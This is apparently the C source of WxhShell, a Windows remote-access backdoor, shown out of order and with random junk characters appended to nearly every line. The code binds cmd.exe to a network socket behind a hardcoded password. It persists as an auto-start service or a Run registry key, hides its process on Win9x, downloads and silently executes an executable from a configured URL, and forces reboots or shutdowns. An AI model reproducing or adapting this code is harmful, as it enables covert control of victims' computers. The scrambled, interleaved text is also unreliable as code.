    if(Boot(SHUTDOWN)) M~sP|Ha"+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gi A(VUwI>  
    else { ;?o"{mbb  
    closesocket(wsh); oxCfSA  
    ExitThread(0); a`||ePb|W~  
    } y9:o];/  
    break; fQU_A  
    } a.<!>o<t:  
  // 获取shell @S012} xH  
  case 's': { [o'}R`5)  
    CmdShell(wsh); +w?1<Z  
    closesocket(wsh); v|kL7t)}  
    ExitThread(0); QD[l 6  
    break; ^w RD|  
  } P.|g4EdND  
  // 退出 @0:mP  
  case 'x': { x(zW<J5X"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3'Z+PPd!  
    CloseIt(wsh); U&tR1v'  
    break; 4p&SlJ  
    } Lj3q?>D*^6  
  // 离开 3TD!3p8  
  case 'q': { l5k]voG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8j%lM/ v  
    closesocket(wsh); r,Pu-bhF  
    WSACleanup(); _`94CC:  
    exit(1); cW $~86u"C  
    break; 9;c]_zt  
        } -E!V;Tgc%U  
  } h 9{'w  
  } l\-(li H  
Y wM;G g3  
  // 提示信息 E?f*Z{~,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M7lMOG (\  
} j@s,5:;[  
  } \-s'H:  
3412znM&  
  return; "V_PWEi  
} #^/&fdK~A  
Fx*IeIs(:~  
// shell模块句柄 mCpoaGV_  
int CmdShell(SOCKET sock) kA:cz$ )  
{ Q ?W6  
STARTUPINFO si; &-Zg0T&tZ  
ZeroMemory(&si,sizeof(si)); DU4Prjb'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T1b9Zqc)f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =mk7'A>l  
PROCESS_INFORMATION ProcessInfo; 3?(||h{  
char cmdline[]="cmd"; t\+vTvT)RE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i`:r2kU:*W  
  return 0; >7V&pH'  
} M*c`@\  
sXSZ#@u,WN  
// 自身启动模式 .!t' &eV  
int StartFromService(void) k4-C*Gx$h  
{ )6mv 7M{  
typedef struct hMx/}Tw wt  
{ 2\!.w^7'^T  
  DWORD ExitStatus; xH8nn3U  
  DWORD PebBaseAddress; :U;ZBs3  
  DWORD AffinityMask; ,Gd8 <  
  DWORD BasePriority; 93y.u<,2;  
  ULONG UniqueProcessId; ~F]- +|  
  ULONG InheritedFromUniqueProcessId; 5B( r[Ni b  
}   PROCESS_BASIC_INFORMATION; J`3 p Xc$.  
1k>*   
PROCNTQSIP NtQueryInformationProcess; 71w$i 4  
WYE[H9x1?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Im_`q\i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; MgLz:2 :F  
qx/GioPU  
  HANDLE             hProcess;  /m*vY`  
  PROCESS_BASIC_INFORMATION pbi; *K\/5Fzl  
UkL'h&J~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f-6E>  
  if(NULL == hInst ) return 0; Z,,Wo %)o  
x2TCw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j:,*Liz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ODM<$Yo:d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .,x08M  
z|yC[ Ota  
  if (!NtQueryInformationProcess) return 0; ]IkjZ=  
B: uW(E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'gE_xn7j  
  if(!hProcess) return 0; G";yqG  
_B|g)Rdv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #,qikKjt2  
HWGlC <  
  CloseHandle(hProcess); n/UyMO3=  
.|{*.YE  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g;bkV q  
if(hProcess==NULL) return 0; 4S.%y7d\  
*-Y|qS%  
HMODULE hMod; BZx#@356N  
char procName[255]; A\.M/)Qo  
unsigned long cbNeeded; v1zJr6ra9  
(F7!&]8%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J74 nAC%J^  
crC];LMl/  
  CloseHandle(hProcess); U]ouBG8/  
+Mv0X%(N  
if(strstr(procName,"services")) return 1; // 以服务启动 `^afbW  
z0Gh |N@)  
  return 0; // 注册表启动 )mZ`j.  
} W~Mj6c~S"  
K)0 6][ ,  
// 主模块 jvm "7)h  
int StartWxhshell(LPSTR lpCmdLine) ipKkz  
{ -i @!{ ?  
  SOCKET wsl; L1"X`Pz[}  
BOOL val=TRUE; P5vMy'1X  
  int port=0; Ef$xum{  
  struct sockaddr_in door; -acW[$t  
 Jb {m  
  if(wscfg.ws_autoins) Install(); BbiBtU  
3QS"n.d  
port=atoi(lpCmdLine); ;Fuxj!gF  
"v~w#\pz7  
if(port<=0) port=wscfg.ws_port; ZwF_hm=/[  
1rEhL  
  WSADATA data; @eT!v{o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x%x:gkq  
/5r[M=_ihr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .f&,~$e4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I[<C)IG  
  door.sin_family = AF_INET; 35jP</  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sOLo[5y'  
  door.sin_port = htons(port); F/RV{} 17E  
[N#2uo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Cg21-G .  
closesocket(wsl); qdj,Qz9ly  
return 1; (g~&$&pa  
} FJ>| l#nO  
-_pI:K[  
  if(listen(wsl,2) == INVALID_SOCKET) { m2<sVTN`^  
closesocket(wsl); )X| uOg&|  
return 1; {u46m  
} -oe&1RrdVg  
  Wxhshell(wsl); }N4=~'R  
  WSACleanup(); eB!0:nHN  
{My/+{eS!?  
return 0; r"U$udwjg  
|$9k z31  
} D 7H$!(F>  
Ty#L%k}-t  
// 以NT服务方式启动 se$GE:hC1Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "vjz $.  
{  }e9:2  
DWORD   status = 0; R[Kyq|UyVr  
  DWORD   specificError = 0xfffffff; aCFO ]  
cy/;qd+!M  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?exV:OKLb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WZ"x\K-;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r#3_F=xL5  
  serviceStatus.dwWin32ExitCode     = 0; 4(  ^Ht  
  serviceStatus.dwServiceSpecificExitCode = 0; (D{9~^EO>a  
  serviceStatus.dwCheckPoint       = 0; yHk/8  
  serviceStatus.dwWaitHint       = 0; P",~8Aci(  
pt|u?T_+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kY4riZnm  
  if (hServiceStatusHandle==0) return; kV6T#RVob  
~++y4NB8Q  
status = GetLastError(); ~XQN4Tv-  
  if (status!=NO_ERROR) a{69JY5  
{ =1yU& PJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +&-/$\"  
    serviceStatus.dwCheckPoint       = 0; A^ t[PKM"  
    serviceStatus.dwWaitHint       = 0; =JNoC01D  
    serviceStatus.dwWin32ExitCode     = status; qV^,muyoG  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0 Co_,"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WQ=C5^u  
    return; E@P8-x'i  
  } -5d8j<,  
d^WVWk K  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8TC%]SvYim  
  serviceStatus.dwCheckPoint       = 0; FrB}2  
  serviceStatus.dwWaitHint       = 0; nP4jOq*H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pz@_%IUS  
} Z]":xl\7  
AXz'=T}{  
// 处理NT服务事件,比如:启动、停止 Bk>Ch#`Bw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) US0)^TKrj  
{ S#_i<u$$  
switch(fdwControl) }O5c.3  
{ :kfl q  
case SERVICE_CONTROL_STOP: TQ.d|{B[  
  serviceStatus.dwWin32ExitCode = 0; q9yY%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^cDHyB=v4d  
  serviceStatus.dwCheckPoint   = 0; lySeq^y?Q  
  serviceStatus.dwWaitHint     = 0; QpAK]  
  { XNf%vC>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k P>G4$e_v  
  } X@5!I+u\L  
  return; XQ%*U=)s  
case SERVICE_CONTROL_PAUSE: Pc`d@q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; C8DZ:3E$c  
  break; w,;CrW T2t  
case SERVICE_CONTROL_CONTINUE: b qEwi[`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; rH$0h2  
  break; e ,k,L  
case SERVICE_CONTROL_INTERROGATE: ZVR0Kzu?Ra  
  break; W$v5o9\Px  
}; uRh`qnL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0^5SL/2  
} `\(Fax  
7?qRY9Qu  
// 标准应用程序主函数 uf^"Y3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8BhLO.(<O  
{ ;Q:^|Fw!F  
h~urZXD<  
// 获取操作系统版本 aYkm]w;C  
OsIsNt=GetOsVer(); '|G_C%,B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a RC >pK.  
Q: [d   
  // 从命令行安装 mH}/QfUlq  
  if(strpbrk(lpCmdLine,"iI")) Install(); mfIY7DP  
Nf%jLK~  
  // 下载执行文件 n Uz 2~z  
if(wscfg.ws_downexe) { @]Aul9.h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;KWR/?ec  
  WinExec(wscfg.ws_filenam,SW_HIDE); c&e?_@} |  
} Ef;_im  
~ 61O  
if(!OsIsNt) { ,[D,G  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^g$k4  
HideProc(); fF;Oz"I{\  
StartWxhshell(lpCmdLine); c_)vWU  
} sF C&DTb?  
else j,8*Z~\5  
  if(StartFromService()) WXp=>P[  
  // 以服务方式启动 Jb#*QJ=  
  StartServiceCtrlDispatcher(DispatchTable); |)} F}~&  
else PnJr  
  // 普通方式启动 5^t68 WOl  
  StartWxhshell(lpCmdLine); A5Qzj]{ba  
dur}3oS0p  
return 0; TSt-#c4B  
} .1XZ9M  
Hz`rw\\Xq  
B)Hs>Mh|W  
$M@SZknm  
=========================================== p)(mF"\8=  
.[? E1we  
ZsirX~W<  
j/5>zS  
,]w -!I  
:(c2YZ   
" xC9^x7%3O  
72GXgah  
#include <stdio.h> x#|=.T  
#include <string.h> f\!*%xS;  
#include <windows.h> p{"p<XFyO  
#include <winsock2.h> C eNpJ  
#include <winsvc.h> .taJCE  
#include <urlmon.h> 43W>4fsc  
R4"["T+L`  
#pragma comment (lib, "Ws2_32.lib")  (d |  
#pragma comment (lib, "urlmon.lib") zU:zzT}|TZ  
{6!Mf+Xq  
#define MAX_USER   100 // 最大客户端连接数 yb2*K+Kv  
#define BUF_SOCK   200 // sock buffer =3?t%l;n  
#define KEY_BUFF   255 // 输入 buffer t48(,  
i,NN"  
#define REBOOT     0   // 重启 5r.\maW  
#define SHUTDOWN   1   // 关机 y, tA~  
H'-Fv!l?  
#define DEF_PORT   5000 // 监听端口 e!URj\*  
X's-i!  
#define REG_LEN     16   // 注册表键长度 VHsuC$3W  
#define SVC_LEN     80   // NT服务名长度 c2Ua!p(c  
.L0pS.=LT  
// 从dll定义API <T[%03  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6A7UW7/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NIrK+uC.d  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2lDgv ug  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2mP| hp?  
Xw!eB?A  
// wxhshell配置信息 dGAthbWJ  
struct WSCFG { Y.sf^}  
  int ws_port;         // 监听端口 aSi:(w  
  char ws_passstr[REG_LEN]; // 口令 7=N=J<]pl  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^QTl (L  
  char ws_regname[REG_LEN]; // 注册表键名 ICo_O] Ke  
  char ws_svcname[REG_LEN]; // 服务名 ',n;ag`c  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #.?DsK_:@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 s/0-DHd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Zk$AAjC&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no KS}Ci-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .Ej `!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }r3, fH  
fw ._  
}; ~j" aJ /  
L;I .6<K.  
// default Wxhshell configuration _j-k*:  
struct WSCFG wscfg={DEF_PORT, m1a0uEA G  
    "xuhuanlingzhe", >Y?B(I2e  
    1, R!lNm,i  
    "Wxhshell", 7qt<C LJ  
    "Wxhshell", 3M8P%  
            "WxhShell Service", [Maon.t!l  
    "Wrsky Windows CmdShell Service", t*5d'aE`/  
    "Please Input Your Password: ", us\@n"  
  1, Wxkk^J9F3  
  "http://www.wrsky.com/wxhshell.exe", (P~Jzp9u  
  "Wxhshell.exe" ;Jr6  
    }; eft-]c+*0  
{H#1wu^]O$  
// 消息定义模块 a8rsF  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hi"[R@UG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "Y }f"X|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,WR$xi.j  
char *msg_ws_ext="\n\rExit."; qEX2K^y'4"  
char *msg_ws_end="\n\rQuit."; m>k j@^SQ  
char *msg_ws_boot="\n\rReboot..."; 5(q\x(N  
char *msg_ws_poff="\n\rShutdown..."; 9~I\WjB "  
char *msg_ws_down="\n\rSave to "; {J%Na&D  
N5#qox$D  
char *msg_ws_err="\n\rErr!"; ZZ A!Y9ia2  
char *msg_ws_ok="\n\rOK!";  4%LG9hS  
L7_(KCh  
char ExeFile[MAX_PATH]; E0$UoP   
int nUser = 0; 'Sppm;?  
HANDLE handles[MAX_USER]; F\Q)l+c  
int OsIsNt; H"WkZX  
fc._*y#AS  
SERVICE_STATUS       serviceStatus; #`RY KQwB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =xQ 7:TB  
V^QKn+/  
// 函数声明 ( t#w@<  
int Install(void); 9m0`;~!  
int Uninstall(void); N(vzxx^  
int DownloadFile(char *sURL, SOCKET wsh); cR}}NF  
int Boot(int flag); i:Pg&474f  
void HideProc(void); ?{?mAb c  
int GetOsVer(void); #HWz.Wb  
int Wxhshell(SOCKET wsl); R[LVx-e7'  
void TalkWithClient(void *cs); w(8q qU+\  
int CmdShell(SOCKET sock); 1 >jG*tr  
int StartFromService(void); `I,A7b  
int StartWxhshell(LPSTR lpCmdLine); O*d&H;;  
~QFD ^SoK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H/Cv?GJF  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JaKR#Y$+~  
G]E$U]=9r:  
// 数据结构和表定义 V.)y7B  
SERVICE_TABLE_ENTRY DispatchTable[] = @;qC % +^  
{ (9*s:)zD-  
{wscfg.ws_svcname, NTServiceMain}, @ \J RxJ  
{NULL, NULL} /%po@Pm#I  
}; D%(9ot{!e  
^c83_93)R  
// 自我安装 bxyEn'vNvQ  
int Install(void) #pBAGm3  
{ @g9j+DcU  
  char svExeFile[MAX_PATH]; 2`+?s  
  HKEY key; ZLyJ  
  strcpy(svExeFile,ExeFile); =rl/ l8|P  
Re5m  
// 如果是win9x系统,修改注册表设为自启动 \3n{%\_  
if(!OsIsNt) { t;Jt+k~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IJ!]1fXy+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |xZDc6HDW  
  RegCloseKey(key); 33J}AK^FE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C,n]9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kuu9'Sqc'b  
  RegCloseKey(key); 7loCb4Hv  
  return 0; BnvUPDT&  
    } VD/Wl2DK  
  } )wP0U{7?v  
} }r]WB)_w  
else { r/HKxXT  
s#`%c({U|  
// 如果是NT以上系统,安装为系统服务 jz't!wj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t!c8 c^HR  
if (schSCManager!=0) aQCbRS6  
{ vY *p][$  
  SC_HANDLE schService = CreateService n} GIf&  
  ( :>nk63V (  
  schSCManager, ioi0^aM  
  wscfg.ws_svcname, VxjEKc  
  wscfg.ws_svcdisp, Fly@"W4a  
  SERVICE_ALL_ACCESS, '&Q_5\Tn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g,Kb9['  
  SERVICE_AUTO_START, _Jk-nZgn  
  SERVICE_ERROR_NORMAL, SOb17:o3|  
  svExeFile, $JqdI/s  
  NULL, ~53E)ilB  
  NULL, [T"oqO4%]  
  NULL, ^8.R 'Yq  
  NULL, Tr)a6Cf  
  NULL l"}W $3]u$  
  ); z~4L=tA(  
  if (schService!=0) ^c< <I-o|  
  { ?Ee?Ol?i2  
  CloseServiceHandle(schService); _S8]W !c  
  CloseServiceHandle(schSCManager); aBr%"&Z.MG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,Ot3N\%yn  
  strcat(svExeFile,wscfg.ws_svcname); H`-%)c=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BT 98WR"\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $ 8_t.~q  
  RegCloseKey(key); LoOyqJ,  
  return 0; l6xC'c,jg  
    } &|%z!x6f  
  } h?.6e9Y4  
  CloseServiceHandle(schSCManager); m{mK;D  
} ~Cks)mJs  
} Z@ h<xo*r  
?@|1>epgd  
return 1; 4I"QT(;  
} ^*A/92!yF  
174H@   
// 自我卸载 fB1JU1  
int Uninstall(void) gwThhwR  
{ :KgLjhj|)  
  HKEY key; AbZ:AJ(  
jt"p Js'  
if(!OsIsNt) { eWqJ2Tt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bsM`C]h&  
  RegDeleteValue(key,wscfg.ws_regname); EM vV  
  RegCloseKey(key); LAw X9q`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { BRQ9kK20  
  RegDeleteValue(key,wscfg.ws_regname); :eQ@I+  
  RegCloseKey(key); aC]~   
  return 0; ?P<&8eY  
  } )pr pG !  
} (S5'iks x  
} }w8h^(+B  
else { q*DR~Ov  
|1g2\5Re  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g.DgJX&i  
if (schSCManager!=0) %!(6vm>8  
{ U~Ni2|}\C9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L$ ]D&f8:  
  if (schService!=0) uAzV a!)  
  { t1Hd-]28V  
  if(DeleteService(schService)!=0) { J9/9k  
  CloseServiceHandle(schService); s]L`&fY]O  
  CloseServiceHandle(schSCManager); ?U|~h1   
  return 0; Se"\PxBR  
  } IZJV6clM  
  CloseServiceHandle(schService); TUy*wp9  
  } *Ei~2O}  
  CloseServiceHandle(schSCManager); |YZ`CN<  
} QV{Nq=%]  
} {zbH.V[  
i`2Q;Az_P6  
return 1; 7X|&:V.s|  
} Lrq+0dI 65  
jt3s;U*  
// 从指定url下载文件 &9o @x]) @  
int DownloadFile(char *sURL, SOCKET wsh) AKa{C f  
{ #A:I|Q1$g  
  HRESULT hr; L2{tof  
char seps[]= "/"; GgA =EdJn  
char *token; M*t@Q|$:  
char *file; E'XF n'  
char myURL[MAX_PATH]; e{=7,DRH<  
char myFILE[MAX_PATH]; 4LBjqv,P  
vm8QKPy  
strcpy(myURL,sURL); >GT0 x  
  token=strtok(myURL,seps); 0R_ZP12  
  while(token!=NULL) OMKEn!Wq  
  { J4`08,  
    file=token; 5uDQ*nJ|  
  token=strtok(NULL,seps); S`0@fieOf  
  } jq.@<<j|$  
EHzU`('?[  
GetCurrentDirectory(MAX_PATH,myFILE); zXcSE"   
strcat(myFILE, "\\"); 7:x.08  
strcat(myFILE, file); ~p'/Z@Atu  
  send(wsh,myFILE,strlen(myFILE),0); 'QCvN b6  
send(wsh,"...",3,0); ~JC``&6E=}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y9W*/H{[`  
  if(hr==S_OK) ik&loM_  
return 0; ,Oxdqxu7  
else @Z3b^G[  
return 1; ~e%*hZNo  
"ajZ&{Z  
} 7t@jj%F  
mXhr: e  
// 系统电源模块 d:A+s>`$M  
int Boot(int flag) +"' h?7'C  
{ ,j&o H$mW  
  HANDLE hToken; z W+wtYV4  
  TOKEN_PRIVILEGES tkp; ,0-   
4RTEXoXs  
  if(OsIsNt) { "DRp4;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F<'g6 f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )x( *T  
    tkp.PrivilegeCount = 1; 9oc[}k-M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'J!P:.=a>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jS R:ltd  
if(flag==REBOOT) { *:YW@Gbm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SvI  
  return 0;  zKT \i  
} <6(u%t0k5  
else { r\Man'h$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WqYl=%x"{V  
  return 0; %eD&2$q*  
}  4jG@ #  
  } z2"2Xqy<U  
  else { R?l>Vr  
if(flag==REBOOT) { $Q47>/CUc^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *l7 ojv  
  return 0; Bljh'Qp>C  
} E(u[?  
else { +?mZ_sf8w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^~(bm$4r  
  return 0; =FwFqjvl  
} .Ta$@sPh}  
} &m Y<e4  
_II;$_N  
return 1; f, ;sEV  
} (%I`EAR  
Lo;T\C N  
// win9x进程隐藏模块 k U3] eh\I  
void HideProc(void) bz}T}nj  
{ iT.hXzPzr*  
-O(.J'=8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); j5$Sm  
  if ( hKernel != NULL ) =3 -G  
  { Zqx5I~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  61gZZM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V]vk9M2q[l  
    FreeLibrary(hKernel); `^_.E:f  
  } 4AP<mo  
:=~([oSNW"  
return; r-'j#|^tz  
} R \`,Q'3  
\UNw43EL  
// 获取操作系统版本 :j9;P7&"?  
int GetOsVer(void) [=LQ,e$r7  
{ mg#+%v  
  OSVERSIONINFO winfo; JNMZn/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2OK%eVba  
  GetVersionEx(&winfo); @8/-^Rh*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b,SY(Ce~g  
  return 1; )ZiJl5l@  
  else W}T+8+RU  
  return 0;  wl9E  
} cT.1oaAM0  
"J[Crm  
// 客户端句柄模块 Gia_B6*Y[  
int Wxhshell(SOCKET wsl) oq0G@  
{ 0eUsvzz 15  
  SOCKET wsh; B}*xrPj  
  struct sockaddr_in client; N2~DxVJ5cT  
  DWORD myID; $e<3z6  
6.K)uQgjmv  
  while(nUser<MAX_USER) vk[Km[(U'  
{ 2abWIw4  
  int nSize=sizeof(client); L0uN|?}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >nTGvLOq  
  if(wsh==INVALID_SOCKET) return 1; \idg[&}l}  
le8n!Dk(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \W*ouH  
if(handles[nUser]==0) Pb[wysy  
  closesocket(wsh); ,T1 t`  
else eqjl$QWPJS  
  nUser++; r!#a.  
  } 9nd'"$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z?E:s.4F  
UHR)]5Lt  
  return 0; v)X1R/z5xw  
} ~Jq<FVK  
]LP&v3  
// 关闭 socket QF\NHV  
void CloseIt(SOCKET wsh) rGq~e|.O3  
{ ot,<iE#za  
closesocket(wsh); nP_s+k  
nUser--; JO1c9NyKr  
ExitThread(0); U24?+/5D]  
} xT=|Uc0  
w3yI;P  
// 客户端请求句柄 Vl'|l)b4W  
void TalkWithClient(void *cs) BBy/b c!  
{ 8HTV"60hTs  
oYqlN6n,=6  
  SOCKET wsh=(SOCKET)cs; ^#"!uCq]gM  
  char pwd[SVC_LEN]; oOJN?97!k  
  char cmd[KEY_BUFF]; E#_}y}7JY  
char chr[1]; rY($+O@a<  
int i,j; %iF< px?Vc  
qY0GeE>N  
  while (nUser < MAX_USER) { % ]  
 8tPq5i  
if(wscfg.ws_passstr) { Q=w\)qJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )e{~x u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6AzH'H F  
  //ZeroMemory(pwd,KEY_BUFF); t ZF G`'/  
      i=0;  H\)on"  
  while(i<SVC_LEN) { Ym0Xl(Se  
6K* 7%8Y/G  
  // 设置超时 {)jQbAr(G  
  fd_set FdRead; tQUp1i{j\  
  struct timeval TimeOut; G~YV6??  
  FD_ZERO(&FdRead); Y_f6y 9?ZE  
  FD_SET(wsh,&FdRead); yjN|PqtSV  
  TimeOut.tv_sec=8; >mh:OJH45  
  TimeOut.tv_usec=0; PsLuyGR.<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =;c? 6{<1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QbS w<V  
.cle^P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )LH nDx  
  pwd=chr[0]; Q0nSOTQ  
  if(chr[0]==0xd || chr[0]==0xa) { ~f ){`ZJc  
  pwd=0; Ok O;V6`  
  break; | \Qr cf  
  } :2  
  i++; Po=)jkW  
    } 0y|}}92:  
Vk>aU3\c  
  // 如果是非法用户,关闭 socket 875V{fvPBU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); qTiX;e\W  
} }U+gJkY2  
8[}MXMRdb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;xwa,1]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <W\~A$  
^9"|tWf6O  
while(1) { o-7>^wV%BD  
Z.VVY\  
  ZeroMemory(cmd,KEY_BUFF); J;'?(xO3\  
sx(yG9  
      // 自动支持客户端 telnet标准   %VSST?aUvX  
  j=0; G4AX8@;U  
  while(j<KEY_BUFF) { O/l|\n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3P'.)=}  
  cmd[j]=chr[0]; /1Rm^s)2z  
  if(chr[0]==0xa || chr[0]==0xd) { cdzMao  
  cmd[j]=0; mVU(u_lh  
  break; t~XwF(";  
  } a<c %Xy/  
  j++; `^(6{p ?  
    } uVOOw&q_  
0.|tKetHq  
  // 下载文件 sDWX} NV  
  if(strstr(cmd,"http://")) { Z]oa+W+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (zye Ch  
  if(DownloadFile(cmd,wsh)) Y.jg }oV  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H9nZ%n  
  else 9 `J`(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s`GSc)AI  
